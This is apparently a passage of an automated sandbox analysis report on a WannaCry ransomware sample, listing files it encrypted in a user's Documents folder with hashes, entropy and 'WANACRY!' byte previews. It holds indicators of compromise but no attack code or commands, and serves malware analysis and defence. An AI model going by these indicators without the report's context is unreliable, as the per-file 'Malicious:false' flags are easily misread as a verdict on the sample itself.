                                    SHA-256:B3F036AADA5100226C496C51AAD6E0F302C8B1C1DB6227D7AE0218EE3F7A3E3F
                                    SHA-512:718DD404BCF0D4DE5C8D1A2DD7200FD5318E43381AFD6FDD486D746DD85B2AE05E4B575149A1C9238929F5F571D6A1D1651564B920FC1CAC69B4AE1479D1B4EC
                                    Malicious:false
                                    Preview:WANACRY!....I.A.....t..NL...bk.Iv{bDSJJ..V.E.{..R..d/zr.-..Z...83q....l'...g..k_...C..X5l.8tA.. V\P@x..a$..6U..r..O..)S.W...R...mUW.)mI.W...."....S.P.[.Jzv.j.......sk.G3E...^.3rq.8...G...[\...D.c'....k.Sw.{5....Jp..Xx1g......[8.y%..M.|}..P..;.. ..K;y...'..................%`..&g..6.6.0....{C.T.i..@m.sKx.vV..Q>....j^..:,...sG..#.....[.3...N5.v9jIf.....W.........U.F..0.u..t....r.)G.Rm6.W....g.l.p.........'..!goC..T.O.%W..e....:.Z.]SJ,&ew/S9.}{...4[..9..8...K...r.O...9X...845O<.Sh?...i.&..Z.<.hz....-..;/..."!.~..s..taF+..F...}.....o-<..(.:..*....P.B..j......7 G'..].j.+.hx...<(.c..KtV..+.R...O=.o....#.c...K... .F.P....Y.!HJ......(.c+..(.[d....Q.g...9_.............[7..<..q..|{.u.+.>......1Rs"....r..xm{.....'..[@...........FP...D....1.....z..U.N.......c....!Z%...B....gO=...".7"..].....(.@..G6....{..1I...K.K...`.......B..Y..i..r...."&.I.dQ.v.#_......:S.Wg..GZ..W3A....+J^O.$..9.........%....s<.....Y....v.t\.Cx.ZJ..^.|.3)f....@...{.L.@...>>6e.. .<....>

                                    C:\Users\user\Documents\LFOPODGVOH\BXAJUJAOEO.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.853606654193928
                                    Encrypted:false
                                    SSDEEP:24:bknavbhexWQc8+CRJrSJoHlWZ3yoPpCyozzSNJVGYmTaeg0Ku5llnlW4M37SA51:bkavb0xkWUelWZ3yoBCyASNJVkaqKu/+
                                    MD5:F12DCE41882C237D7F15A7CFFF1EE80D
                                    SHA1:E99784CA5DFFD71FF1A70ABE35EE13C48BD17D9D
                                    SHA-256:B3F036AADA5100226C496C51AAD6E0F302C8B1C1DB6227D7AE0218EE3F7A3E3F
                                    SHA-512:718DD404BCF0D4DE5C8D1A2DD7200FD5318E43381AFD6FDD486D746DD85B2AE05E4B575149A1C9238929F5F571D6A1D1651564B920FC1CAC69B4AE1479D1B4EC
                                    Malicious:false
                                    Preview:WANACRY!....I.A.....t..NL...bk.Iv{bDSJJ..V.E.{..R..d/zr.-..Z...83q....l'...g..k_...C..X5l.8tA.. V\P@x..a$..6U..r..O..)S.W...R...mUW.)mI.W...."....S.P.[.Jzv.j.......sk.G3E...^.3rq.8...G...[\...D.c'....k.Sw.{5....Jp..Xx1g......[8.y%..M.|}..P..;.. ..K;y...'..................%`..&g..6.6.0....{C.T.i..@m.sKx.vV..Q>....j^..:,...sG..#.....[.3...N5.v9jIf.....W.........U.F..0.u..t....r.)G.Rm6.W....g.l.p.........'..!goC..T.O.%W..e....:.Z.]SJ,&ew/S9.}{...4[..9..8...K...r.O...9X...845O<.Sh?...i.&..Z.<.hz....-..;/..."!.~..s..taF+..F...}.....o-<..(.:..*....P.B..j......7 G'..].j.+.hx...<(.c..KtV..+.R...O=.o....#.c...K... .F.P....Y.!HJ......(.c+..(.[d....Q.g...9_.............[7..<..q..|{.u.+.>......1Rs"....r..xm{.....'..[@...........FP...D....1.....z..U.N.......c....!Z%...B....gO=...".7"..].....(.@..G6....{..1I...K.K...`.......B..Y..i..r...."&.I.dQ.v.#_......:S.Wg..GZ..W3A....+J^O.$..9.........%....s<.....Y....v.t\.Cx.ZJ..^.|.3)f....@...{.L.@...>>6e.. .<....>

                                    C:\Users\user\Documents\LFOPODGVOH\IZMFBFKMEB.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.819236678284539
                                    Encrypted:false
                                    SSDEEP:24:AaKqkueJTIgWNXiaVqOWIb8fyD8duRteFNjzkobM0E0x/eJL:HKCeJTfqyOdbXRYFNJbG0oJL
                                    MD5:B8E06FD07CE9F974F306C034B37BC58C
                                    SHA1:AB6131AD442B94755103161DDA657A6A192D7645
                                    SHA-256:ED6FE428A7DEEEF8ED547252F3C9C864DC4FF77D43885D20708EEB1D85DD9B54
                                    SHA-512:EB5738D9EA44A1D54F80AFE93658E6A563A9FA88101E3E94409C0F5DA1B0B4E2774B68E946B5C6387DC5C4CB4ABF9E3694C413E3F811B0CCADFACA5C44CC9246
                                    Malicious:false
                                    Preview:..z...*..}.v.....B..r...[/...B..~..g.g....5....(...hq...3[!..;0..=....U.m...X...x...m!.)&..u...,.........!.....j...6.+%~...U.Dji...&...<....r....t.......o.+S.|e].7S,.Fz..@.N.T..4...U...19.\.P.=.D.....a....{.v..)........2._}.l..Bm...`1...J....d...j..8a..R..Y...A...._._..........gjpYm.A;.....]?KT....kN5.5...u....+e.:..V...?+3..i...l`$.v._6N..5...[.;@T.J}.W.....*.<.k.,~.m..9p.E.+.Y......F[...o.........N!P..&.U:..........B$TL.-......~# .y7./j....~..G.Q.>.HQ}.Joum...]...'.....JF...)B.+...{......2....x.2Y.......*...A.<L.}.....^.+....wb.[.'....&.,.....a\^..[&...?.F..`....s3Q...[....p...-D...@. .+....t.}....Pb~..i.5...t.,%.8...............~..Y..O..f....S.&..d....b....SQ0.)....F...2.U..Z...*......=...%...EZ..`8C=&..!...g.s.....Q).v.sg6....z....ho.S.d"..i"f...................<_t.6.k..W.[...K.a..I..H..x.z5R.....{;d......Ry.">.}..\....\>Pn3...CI.........../....Ljb...&,.:......M....Z{...m...w4t.k.l.wTv..Y...{.2;ue.A$..(a.qCg..vf.

                                    C:\Users\user\Documents\LFOPODGVOH\IZMFBFKMEB.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.826679573333304
                                    Encrypted:false
                                    SSDEEP:24:bk0pfkReOkl2wqnEHwa8laI9+cwFVhv/1KmYNpG8lT2BRNoX:bk0pAxlj9ojhHLYNpG8F2BRg
                                    MD5:5FFFCDCAABC9F6A203F0102D20AD9925
                                    SHA1:76FBFC1E3D84009D45E7860F9641E20B6C91AF96
                                    SHA-256:D9A05F428A81E533EB202FE9D7041FBAC4A7F5039BCF3ACE04306E28CC7457C4
                                    SHA-512:722A4033F999D595BC5EFE468748BA615CE1E165BCA8AFD99ADF5ED7F0A0C8C3C7FA9C1D4FB54FE6D220B966D3E2ACB4A03A723AFCAF5690372A21F1D0CDE3CB
                                    Malicious:false
                                    Preview:WANACRY!.....o...#CY.....r~.`ZyN...{..7.s.....B.>..)..(.[.T...!m,:.M\GO...Ae...@.N.P....{.wU2...9.O..7.]#..T.......K.;...n....O....as..H..6./(.....),.H...$F..I..w..6..U..k..l.T]K.x..,A..C5+.....V..qe....t<.........u......p....m..ySB..f...$.(.....................E~....z..4)........3../.QOL...Y8.q..$y.DRl......-jY.QS~..V.o]..4....*.S...;-..f.<J...`O0m.;v1_..g..oUTa....U.I[.`...,.+..K..0.n0~..f.5%k<f.g...."...t..h/...+V[}.7]s}lD.....G....>%..p..C..~..}..~x...clU......J._.....Y.pB...Q..o.x..2..!H..f.s...?..C3..AD/...w.!.~.%.?(.Hd..e.:..QZ...A..........1Q5.4.\..Qk.g.5...p3.%O..$I.6+.k..3L.NT/.3E..^.........z..T...j.^..Y..t.G.J.yL.l.......C.a/0..U...P....h.7$..$....S.,.HS.b0.6w.F.n............l0....&c.../..V..&r.f.5...E...7..x......4...._S......m.l3..).z~k.x.j....4.....+"J.D..|).....}g=../.tk5.....h.U.X.w.w.R...3../..o6k..k....L...I........&.......o=b...n.MWP6.B.I ...,...J_:.`.Y.9....}e......:$..E3..zl...[...L.s...S...AX@z.Szi..B..?.V........

                                    C:\Users\user\Documents\LFOPODGVOH\IZMFBFKMEB.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.826679573333304
                                    Encrypted:false
                                    SSDEEP:24:bk0pfkReOkl2wqnEHwa8laI9+cwFVhv/1KmYNpG8lT2BRNoX:bk0pAxlj9ojhHLYNpG8F2BRg
                                    MD5:5FFFCDCAABC9F6A203F0102D20AD9925
                                    SHA1:76FBFC1E3D84009D45E7860F9641E20B6C91AF96
                                    SHA-256:D9A05F428A81E533EB202FE9D7041FBAC4A7F5039BCF3ACE04306E28CC7457C4
                                    SHA-512:722A4033F999D595BC5EFE468748BA615CE1E165BCA8AFD99ADF5ED7F0A0C8C3C7FA9C1D4FB54FE6D220B966D3E2ACB4A03A723AFCAF5690372A21F1D0CDE3CB
                                    Malicious:false
                                    Preview:WANACRY!.....o...#CY.....r~.`ZyN...{..7.s.....B.>..)..(.[.T...!m,:.M\GO...Ae...@.N.P....{.wU2...9.O..7.]#..T.......K.;...n....O....as..H..6./(.....),.H...$F..I..w..6..U..k..l.T]K.x..,A..C5+.....V..qe....t<.........u......p....m..ySB..f...$.(.....................E~....z..4)........3../.QOL...Y8.q..$y.DRl......-jY.QS~..V.o]..4....*.S...;-..f.<J...`O0m.;v1_..g..oUTa....U.I[.`...,.+..K..0.n0~..f.5%k<f.g...."...t..h/...+V[}.7]s}lD.....G....>%..p..C..~..}..~x...clU......J._.....Y.pB...Q..o.x..2..!H..f.s...?..C3..AD/...w.!.~.%.?(.Hd..e.:..QZ...A..........1Q5.4.\..Qk.g.5...p3.%O..$I.6+.k..3L.NT/.3E..^.........z..T...j.^..Y..t.G.J.yL.l.......C.a/0..U...P....h.7$..$....S.,.HS.b0.6w.F.n............l0....&c.../..V..&r.f.5...E...7..x......4...._S......m.l3..).z~k.x.j....4.....+"J.D..|).....}g=../.tk5.....h.U.X.w.w.R...3../..o6k..k....L...I........&.......o=b...n.MWP6.B.I ...,...J_:.`.Y.9....}e......:$..E3..zl...[...L.s...S...AX@z.Szi..B..?.V........

                                    C:\Users\user\Documents\LFOPODGVOH\LFOPODGVOH.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.8261636102079075
                                    Encrypted:false
                                    SSDEEP:24:dHzbtnOPRklcHCWz1gFfToVs92Amk9lBSN+WGmuHrjQsjtW77+g6:FbcPSlMCwIpHDWGmssitW7+P
                                    MD5:C9E65E9009CEA3654C734DF7CBBFC6AB
                                    SHA1:A79546D78593149D12F888BD50691304563CD553
                                    SHA-256:B2EFAC09FD6A243402924678485E4E006C3ACC92146DC77DB2602AA4FC0D7728
                                    SHA-512:17F606135C16208808E6CBD36DB647298440FBD3A07803FF58A0E247A458E8855C7E00C718149AC3F80DA4A3A15EC211080B7ADB3276E911894E62F37048E020
                                    Malicious:false
                                    Preview:.[.n.....(........+Di....Mb....njbK..'F{e...uT..Eu.X...N.l..Zi.2.i,!.....3."M.2..i.....Aj.....!...&._._.Z>..6.<m..>?..k.a..e.T.O.i~S....R.6$....c...|&..T2..?...\..2..]k...*.\Bgjp..t/7..J.3+...=R.1U`.I:\..4I.Y^.=.1V4v.....*|S..v.L..H...:..I....2..n.Tzu.Lk..f..%.[|......k.vs.E=....hN@.CX...q'a......Uf..:....z..#DnUdY.%AP.A..._.LB..N.......-,...?q......cU/.w.$.SP.Vu.K.,......&_......{(S[.43...j....M.gz......x...Y.8....N..........R.....WP.....U.k....&..+`...QW..6....@s........r=.J....$..A....lh...>..9P.P.a.M...{sx.S.....y.......8..\.y.*.Q......[..mF&'.t.$e.w.@..C..B4.W]+..<...J....Z2...(S).....t&....`..|/...v.C...*G.gW..K.F.u..lWH..."..e.V.B...0....1..{...=..Jxi...2..N]...Xy......U&.I5(...%x.....~.._^.. ..}".t.Xm.....d...5E........,......v.y.3=`.........7........cxf.&QP..?.../..F..%.....1A-..h...]P.b0.F"..j.v..p.B.f&:.....nK.....t...?<....)D.3..sg.M...=...X-......%W....o.~.C...N.....v,q4...e.._|.FL.3.......i...Z.Y.2...Kbn..3

                                    C:\Users\user\Documents\LFOPODGVOH\LFOPODGVOH.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.853471015949863
                                    Encrypted:false
                                    SSDEEP:24:bkGA7KozhKBJgsQpkAqt9cQ0ZaSX01sJUtKFtHvz34opkddthS9yuMsb7q:bkXjzQlAqtOKN1OkKFhvz1pkTX5sS
                                    MD5:2E8D07380E78D4D4D7343CC1657927FA
                                    SHA1:2B8AF1D81ED8F7611D0C6305B00A251E189B395A
                                    SHA-256:FF2C24A59EAD7660446FE617649468428C0A655288F3BF37BEF3BC01374E8744
                                    SHA-512:08014146D77829D1FE5B296F09A03EFCAD2A5C98A49A704BC33744F6B9E285F21B8A1C62C53824E7625FB0F11B00FC130E9E0B3FB724527846AACD6B862870EC
                                    Malicious:false
                                    Preview:WANACRY!.....j......1..'{.Cg.a..........D.7.l...-.6.h!.ui...2[.u.h.j.N......#+\.x..&^...O..;.m....Ajq..p....U.b.9.(.(.`.....7M..QW.b..Q.2O-o.8.o.Iy<.9....M..2,.P.....4..}......|1...j*.~...o....$...W........E.kf.k7.@.n..U.....{"..C...8.N4.b/...!..................]...t.!]>O....'.?4...A..[...7.Lm....[...~.2.........).b.r.0A.Z..6Yc..~..B.a.p4..I.F......?O.&..e.../?..[..jrXN..G#..<&.&..0.+....f.w...fX.k.kJ2..G.2....+..9.g..........&.l.EzP..../..nrB(.....Z....P...0=.B..x.~+H..:..9...V{.2..^P.+.AO.X;>.U3..q..t.l.....#Qt.U6...6.....nxY.Fm..[...5D....K.1.R*.n..5....9.KN3.vUi..k.z,Q. $|..^...q.2....;.6b.3).:nt=.L..(57.8...#....i...g...vL...g.6s.D...@...}3j..P.ON..C{..a..........r.UW.?".+2.?.....A..d.J.>..y...X.dg.^......"uU.f..@.<lB@.V...v......L....p.F.R...@...`.m.....|=6So.U..'.....:z.H..q.:.......MLd.iv.,/|..3.:...Ia.h*Kf.=.HP..bZ..W....T}.)>8l...c......sH!...#e.EX..].t.X.n(.J.s.]E.y..../.."._..U.... e]...M.iz....="_2...#Z.d.K......:..

                                    C:\Users\user\Documents\LFOPODGVOH\LFOPODGVOH.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.853471015949863
                                    Encrypted:false
                                    SSDEEP:24:bkGA7KozhKBJgsQpkAqt9cQ0ZaSX01sJUtKFtHvz34opkddthS9yuMsb7q:bkXjzQlAqtOKN1OkKFhvz1pkTX5sS
                                    MD5:2E8D07380E78D4D4D7343CC1657927FA
                                    SHA1:2B8AF1D81ED8F7611D0C6305B00A251E189B395A
                                    SHA-256:FF2C24A59EAD7660446FE617649468428C0A655288F3BF37BEF3BC01374E8744
                                    SHA-512:08014146D77829D1FE5B296F09A03EFCAD2A5C98A49A704BC33744F6B9E285F21B8A1C62C53824E7625FB0F11B00FC130E9E0B3FB724527846AACD6B862870EC
                                    Malicious:false
                                    Preview:WANACRY!.....j......1..'{.Cg.a..........D.7.l...-.6.h!.ui...2[.u.h.j.N......#+\.x..&^...O..;.m....Ajq..p....U.b.9.(.(.`.....7M..QW.b..Q.2O-o.8.o.Iy<.9....M..2,.P.....4..}......|1...j*.~...o....$...W........E.kf.k7.@.n..U.....{"..C...8.N4.b/...!..................]...t.!]>O....'.?4...A..[...7.Lm....[...~.2.........).b.r.0A.Z..6Yc..~..B.a.p4..I.F......?O.&..e.../?..[..jrXN..G#..<&.&..0.+....f.w...fX.k.kJ2..G.2....+..9.g..........&.l.EzP..../..nrB(.....Z....P...0=.B..x.~+H..:..9...V{.2..^P.+.AO.X;>.U3..q..t.l.....#Qt.U6...6.....nxY.Fm..[...5D....K.1.R*.n..5....9.KN3.vUi..k.z,Q. $|..^...q.2....;.6b.3).:nt=.L..(57.8...#....i...g...vL...g.6s.D...@...}3j..P.ON..C{..a..........r.UW.?".+2.?.....A..d.J.>..y...X.dg.^......"uU.f..@.<lB@.V...v......L....p.F.R...@...`.m.....|=6So.U..'.....:z.H..q.:.......MLd.iv.,/|..3.:...Ia.h*Kf.=.HP..bZ..W....T}.)>8l...c......sH!...#e.EX..].t.X.n(.J.s.]E.y..../.."._..U.... e]...M.iz....="_2...#Z.d.K......:..

                                    C:\Users\user\Documents\LFOPODGVOH\NIRMEKAMZH.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.820700289750498
                                    Encrypted:false
                                    SSDEEP:24:/sjfgakziUx9W/TXl7U+K54c0/O8dCcZVjkH3+8Yn:2+rEjl7xK54vO56jkXnq
                                    MD5:406C308C3365A12A06C47D77CC54D211
                                    SHA1:CE3A162477B3D719F656D6ABE75842BB8AB460E1
                                    SHA-256:2D1128265FE97D3C4937F1FAAFDC81ABF334706D9BFC83B004FCB8EC66339F3D
                                    SHA-512:586A3C46ADAE4FED79327CBAA37368458CB00B6063303B39F7790E5756BFBF9E6F7931304359E644E07BC343F50856DCB7AAF8FD510090EF06141FA3CE8E4E72
                                    Malicious:false
                                    Preview:...........F.....NP'.../.../[............>"..^........!f.c.....=....g.$...ZB..L.......c...`E5w......<.S4.}...<.".N.iw^...z`..7|......}..#K!....2.......W........7..I|.=[+...}.....9a.!.;..N.....2.....6....*)...cN..xC......\[..&...$.B............?q?f.i1...Py%4....l.o'.Kq....{......ce..lD..-....K)71..FY.r......C.v.,....HGcO.S...u'.7S....[.B....6Z...Qs.a..`......h.. ..+.&G......zg..C.L....Q.]mKiW##.h.~.Hv.....f.Z..zJjv.].bikHg.^...r.........1N..I.9...CqO..G!|3....%5k..>.4[.K.W..B........8.z_ho%Ugk...2N.(!.......Y.N.:B.1.a.~}.]v\..C.A......z..-..C!.?.8.....0..9.....a..oO..;V......._..]...p.._@..>.}.-U.]...5...su.."T..[..4....."...N.@....g.nu.`.2....N.$7.?k.r.tOG6.i.i8......v..Y...R.D......+.J}...'#...OS.....".*.o.(.....}.{H..G.....Q.?...\..>S......AN;uF..a.S...,{.^.....t....\fnbJm..F...s.>.H.3....]|..ux!.cv..z^./.)RW../.....h..L{.p..9...0b.2w.).X..p...zg-..C...\=.......I......-..;*.-!.......Mh.v.7:`. ..,.. v9...n.`.8k.......}=.1.^.t..0...A.C.....3.

                                    C:\Users\user\Documents\LFOPODGVOH\NIRMEKAMZH.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.856910545204324
                                    Encrypted:false
                                    SSDEEP:24:bkT9OOzB5zMdTTrS5d9E18X0VlbpXEVyAx4lkcxQBjrrK/JvZfh:bkdQXm5NglbpXEVy5kCezg
                                    MD5:A45797A88DC8CB37927200A2DEFBACAB
                                    SHA1:BA55B94E8B1892E4C21FDB201705CBEB088F9604
                                    SHA-256:DE5AB50A1AFFF43DA3237051154BB9462A707A33A92261150EBBF3DD031E74F3
                                    SHA-512:CD706B76DC4E216B1915775D9E5A3EF60740AF1903B9342871005D472DC478318959F5ADE7A586D032BBE60EE7A2266280E774A127378AA95B3A2B245F322CCE
                                    Malicious:false
                                    Preview:WANACRY!...........5?w-[.K.q........+a.M..t.....G.P...._....Y]...e.I.....$4rWq/l].2.(.$AV.].g.".tYu...._lh9...a........N.k.\.gB.V.?b......Q..nMw..c...X/V.9.k~.....n..'M...SgA....K.J3.9.#."o.....[.9.Q..?X....Q'..@V.+U.6.................A.;M.U..IY.3...J..Y......................m.tr"e'.6|.v......z..4<.).7....tM...x..Q..._Q0..4B..k.-E...&..<'.I..4.q....`B....W...y.. .z:..@..Y......x..r........g.,3h=+T..D........{..J....-...(..+o.(b4F.H^D..8#..$..D..I...Nt}(&...7`....G...6<...b..J...D.X..%`~.nT$..\....\..MyL..:W....s.>HxMw.p...YIk.`n.....V%|.....PN..m...y.].NL.r..V.b-.7...l.h~{zz."WD...9.. .PL!........O..&......i.8...i.6.......m"&..7.].#.jF.t..r..u.#5...F.A...3.*..*...G'V%..i.M..l..[....E.:5...a...W......g...\.$74V~z...8.E).LR.F9a;....V.W.c.~........./7.../..L.r.....C......(jH..W`T.S..,i.i..Mrk;..8D..S.....%M.....u.:4^.....5.<2..+..h.X.d9...'...;.,'.W...'r*I..8.3.....('O_?%..2.a0V......3).|.-..6..^L...o.....+....9.........W....@6.

                                    C:\Users\user\Documents\LFOPODGVOH\NIRMEKAMZH.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.856910545204324
                                    Encrypted:false
                                    SSDEEP:24:bkT9OOzB5zMdTTrS5d9E18X0VlbpXEVyAx4lkcxQBjrrK/JvZfh:bkdQXm5NglbpXEVy5kCezg
                                    MD5:A45797A88DC8CB37927200A2DEFBACAB
                                    SHA1:BA55B94E8B1892E4C21FDB201705CBEB088F9604
                                    SHA-256:DE5AB50A1AFFF43DA3237051154BB9462A707A33A92261150EBBF3DD031E74F3
                                    SHA-512:CD706B76DC4E216B1915775D9E5A3EF60740AF1903B9342871005D472DC478318959F5ADE7A586D032BBE60EE7A2266280E774A127378AA95B3A2B245F322CCE
                                    Malicious:false
                                    Preview:WANACRY!...........5?w-[.K.q........+a.M..t.....G.P...._....Y]...e.I.....$4rWq/l].2.(.$AV.].g.".tYu...._lh9...a........N.k.\.gB.V.?b......Q..nMw..c...X/V.9.k~.....n..'M...SgA....K.J3.9.#."o.....[.9.Q..?X....Q'..@V.+U.6.................A.;M.U..IY.3...J..Y......................m.tr"e'.6|.v......z..4<.).7....tM...x..Q..._Q0..4B..k.-E...&..<'.I..4.q....`B....W...y.. .z:..@..Y......x..r........g.,3h=+T..D........{..J....-...(..+o.(b4F.H^D..8#..$..D..I...Nt}(&...7`....G...6<...b..J...D.X..%`~.nT$..\....\..MyL..:W....s.>HxMw.p...YIk.`n.....V%|.....PN..m...y.].NL.r..V.b-.7...l.h~{zz."WD...9.. .PL!........O..&......i.8...i.6.......m"&..7.].#.jF.t..r..u.#5...F.A...3.*..*...G'V%..i.M..l..[....E.:5...a...W......g...\.$74V~z...8.E).LR.F9a;....V.W.c.~........./7.../..L.r.....C......(jH..W`T.S..,i.i..Mrk;..8D..S.....%M.....u.:4^.....5.<2..+..h.X.d9...'...;.,'.W...'r*I..8.3.....('O_?%..2.a0V......3).|.-..6..^L...o.....+....9.........W....@6.

                                    C:\Users\user\Documents\LFOPODGVOH\QFAPOWPAFG.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.823402839711879
                                    Encrypted:false
                                    SSDEEP:12:GrQcuzcyC3sUBMPR57PsfdCtpq7bqYfkRJ9J7M5zPO7iMbnpxe4GvWXVpgzVLHdL:GMvBC3bBORlRsvNzPK+WXidYh95Hx8
                                    MD5:22985A5C7ABD024397A88A89638622C7
                                    SHA1:9A03291421FA3C5F907746FD5590C5BD70C0A7D6
                                    SHA-256:116B265FF71947BF2AB4416A53CF860CD26069E07BE3D65FAEAB24980045C03E
                                    SHA-512:3645E8CD5BD90D81B04C65388BCFAD07907CB3CB367252384B8E14BE768318E2C7C620EB8B30423E3E1AA57EE97AB937FF3F06F94B75F82DE87881DFAE60EA71
                                    Malicious:false
                                    Preview:..O.....3..6...*\...u....q............\>.~....F%.R.....|..)...W....,..._...bZ...f..l.^...}.V...k...hcI..H`.B_..n.^..3_....o).....V#~..[...OB..W.z6..y.*..x.....8P..Yr^....Zu..,.|....)D..\.....c,.?..2..E.5[l...8.I..oLR.o('9..Al7.L.Y...CZ.g.GMSX.MP..../.y....C@....+Um`....H1..Q.L.a.l[.s......g..$7&....g........}.4..F|]...<1*..J..7w....F.*..,.xL.M.5y...i7..<?..2.4M.}.D.<O.F..C.dz..5...t.y;.t..+..}.&.....[-..\....h...........~]s.7..Hy.<N.8...6..t..d....".vp.C%..j..#!...1.......s.(...u..*......5p..;B1.B..Zg....p.j.#..$BW....N5.(...cc.......<..a>...9\..).3.N%.f_#:L....)f...y....].@.Y#C.x.6.+-.m..u.{.D.oX.uBZe;.."...0.q.....OBb.,?......~,|mQ.?.!..8.,jB^,O.ww`....v....6'.Q..a....C.h...... .x.^.._.N.......o.....y..t.,...#g.Y..E..0..D......,@.:..G.......v....9XI.d....N6....+.!.....}..e...<x[x.j.h....jw...........b...yR..t...TjJ....91...`..j.V.S.6...[...R=V5..H.A..l...<"(..C..J.~H.-..;..W....[)v9.<.;...}.5.....K,.?...].OS<...2...sPO..%......<G

                                    C:\Users\user\Documents\LFOPODGVOH\QFAPOWPAFG.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.836082937562321
                                    Encrypted:false
                                    SSDEEP:24:bkY2lCXLtTwJBhfxidKMq76VzySDH26pppwt4sYgrSiX9KIB07G:bkHMhwJ7fxyKPM35pp652itKIyS
                                    MD5:B6407FCBA572795912D61A6551821370
                                    SHA1:A9B5231E799E4A3865EAC9B27F260E953D993A06
                                    SHA-256:ED43BCCCE4A349CF8D5D14F096171FE4C6E3FB869292CCAD4AE372995E4E6E9C
                                    SHA-512:FF502F29F15FFAE1C60EE6307971B9560E34D9AE3869CBBAFD1BD3BD0BCF0BBD84594EDA1ABFFBEF307681BE5AAB43571C3FBC423B5EE03B446DCDDACB078FB2
                                    Malicious:false
                                    Preview:WANACRY!.....A.....6.8......Q..r:...BV..V.h.:....%y..T.f.^....pIj.. .1O.7t...I.Q..h....<.....>..}..a...i.c......8Y.........5..k8..&h........y.."=.=.5..,...g>.t.+.....Q.`(._.....[b\..:U......a.._2.+K..{..M.<=.....j... s...p.6....#\OV3\......^.o...E..6.............2l..pkB..\t.<..p.kf...... .Q.......JH.MR...MmH..(...)0...z....%.Xp.."...:.b2u7..<.......o}..L..N...p...... c{`C...$...y..-J:/./.jt..d....q..I. .....^....#a.Jz....1..5J...s./....M.)Ud..j.n.C.k'.C......{.;..u0..h..z...a:>.8(t.N.......1..vn=..:Vr.r..8.=.H..>......O0.^-..{.4W.....%W ..'...M..X.fcZ..G|Nw..U..L.;......P.+...ZZrx..\-.......|...-..X..".fh{........H..|..@.h/./^.E:...v.m.......,..m.~...{.}....C...I....5..a.(.+;q.[..2..b.......I.`...<...........5.|N>.v1...|z.b.........J*{....|..2W..O.]..."..&j..;.|I.y.=....|...y..^)C:d.{...F.i..ZVj..R(...iQ".T@...*....y......7Gzc.5....zAv.ub.....Cgm..^{..u&.}.d..Y.v.P=..|t.."..C...&..Cw.%.\.4{41...W..<i....|........(.l8c.x.kl....

                                    C:\Users\user\Documents\LFOPODGVOH\QFAPOWPAFG.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.836082937562321
                                    Encrypted:false
                                    SSDEEP:24:bkY2lCXLtTwJBhfxidKMq76VzySDH26pppwt4sYgrSiX9KIB07G:bkHMhwJ7fxyKPM35pp652itKIyS
                                    MD5:B6407FCBA572795912D61A6551821370
                                    SHA1:A9B5231E799E4A3865EAC9B27F260E953D993A06
                                    SHA-256:ED43BCCCE4A349CF8D5D14F096171FE4C6E3FB869292CCAD4AE372995E4E6E9C
                                    SHA-512:FF502F29F15FFAE1C60EE6307971B9560E34D9AE3869CBBAFD1BD3BD0BCF0BBD84594EDA1ABFFBEF307681BE5AAB43571C3FBC423B5EE03B446DCDDACB078FB2
                                    Malicious:false
